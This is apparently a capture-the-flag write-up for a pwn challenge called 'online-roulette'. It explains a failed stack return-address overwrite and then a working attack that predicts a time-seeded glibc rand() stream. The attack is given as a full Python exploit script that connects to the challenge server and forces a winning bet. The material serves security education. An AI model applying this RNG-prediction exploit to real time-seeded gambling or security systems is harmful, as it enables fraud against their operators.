Skip to content

k17 ctf 2026

online-roulette

pwn challenge from k17 ctf 2026

Challenge Description

live roulette players keep complaining that they dont get enough spins per hour so we are introducing ROULETTE ONLINE

despite the small house edge this minibolt guy keeps winning

Writeup

The program asks for your name length then runs a bet loop with balance 10

You need balance over 999999999 to reach win() which prints the flag

You also get one arbitrary one byte write but only for addr <= &wager

btw balance lives in main's frame above wager so the write can never touch it directly

The SNAPSHOT tool prints the whole stack so leaking is free

The binary is non PIE so game's saved return address 0x401566 sits at rbp+8

And the balance pointer itself is spilled at rbp-0x28 which is inside the allowed write range

So I built this cute chain

overwrite the low byte of the balance pointer so it points at rbp+8

now one bet does *balance -= D straight on the return address

enter 0 to quit and game returns straight into win

Worked instantly on my local build and did absolutely nothing remote ngl

no binary was given so my guessed win address jumped into random instructions and segfaulted

guessing compiler drift is pain

Two Hundred Losses In Five Seconds :)

Meanwhile I brute forced the 1 in 36 bet with 200 parallel connections

Every single one lost which is statistically cursed tbh

Then I looked at the time

srand(time(NULL)) is the entire security model here

every connection in the same second shares the same rand stream

so I implemented glibc TYPE_3 random in python and kept checking against local C until it matched exactly

then I scanned future epoch seconds for one where the first rand gives rand() % 36 == 0

that makes lotto 1 on spin one

connect at that exact second and bet 999999990

balance = 10 - 999999990 + 2*999999990 = 1000000000 which passes the check with no overflow

type 0 to quit then flush eats one line fgets gets the name and win does the rest

scirpt

solve.py

import socket, time

def glibc_rand_seq(seed, n=1):
    s = [0]*31
    word = seed if seed else 1
    s[0] = word
    for i in range(1, 31):
        hi, lo = divmod(word, 127773)
        word = 16807*lo - 2836*hi
        if word < 0: word += 2147483647
        s[i] = word
    f, r = 3, 0
    out = []
    for _ in range(310 + n):
        s[f] = (s[f] + s[r]) & 0xffffffff
        val = s[f]
        f = (f+1) % 31
        r = (r+1) % 31
        out.append(val >> 1)
    return out[310:]

W = 999999990

def play():
    s = socket.create_connection(("chal.secso.cc", 4000), timeout=20)
    buf = b""
    def until(pat, t=15.0):
        nonlocal buf
        end = time.time() + t
        while pat not in buf:
            if time.time() > end: raise TimeoutError(pat)
            s.settimeout(max(0.2, end - time.time()))
            try: d = s.recv(4096)
            except socket.timeout: continue
            if not d: raise EOFError(pat)
            buf += d
        i = buf.index(pat) + len(pat)
        out, buf2 = buf[:i], buf[i:]
        buf = buf2
        return out
    s.sendall(b"20
")                    # name length first (server blocks on it)
    until(b"[addr]>")
    s.sendall(b"ffffffffffff0000
")      # intruder path keeps the balance pointer intact
    until(b"wager>")
    s.sendall(f"{W}
".encode())
    end = time.time() + 15
    while b"congrats" not in buf and b"better luck" not in buf:
        if time.time() > end: raise TimeoutError("result")
        s.settimeout(max(0.2, end - time.time()))
        try: d = s.recv(4096)
        except socket.timeout: continue
        if not d: break
        buf += d
    if b"congrats" not in buf:
        s.close()
        return None
    s.sendall(b"0
")
    until(b"thx for the money")
    s.sendall(b"a
b
")                  # flush eats a then fgets gets b
    out = buf
    end = time.time() + 10
    while time.time() < end:
        s.settimeout(max(0.2, end - time.time()))
        try: d = s.recv(4096)
        except socket.timeout: break
        if not d: break
        out += d
    s.close()
    return out.decode(errors="replace")

while True:
    now = int(time.time())
    wins = [t for t in range(now+2, now+600) if glibc_rand_seq(t)[0] % 36 == 0]
    T = wins[0]
    print(f"[*] target seed T={T} (lotto should be 1), waiting {T + 0.12 - time.time():.1f}s")
    time.sleep(max(0, T + 0.12 - time.time()))
    out = play()
    if out:
        print(out[-500:])
        break

The ffffffff... address just walks into the intruder neutralised branch btw

that keeps the balance pointer pointing at the real balance so the big bet behaves normally

traaaaaaaaaa

log

[*] target seed T=1789133046 (lotto should be 1), waiting 11.2s


please leave your name as you leave
> whaaaaaa u r the goat
K17{th1s_minib0lt_guy_must_b3_rlly_lucky_huh}

Flag

flag

K17{th1s_minib0lt_guy_must_b3_rlly_lucky_huh}

ngl the solve had nothing to do with that pretty return address chain in the end

that one worked great on my machine and nowhere else

the casino seeded the wheel with the wall clock so minibolt just read the time and went all in

tiny house edge zero entropy :)

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive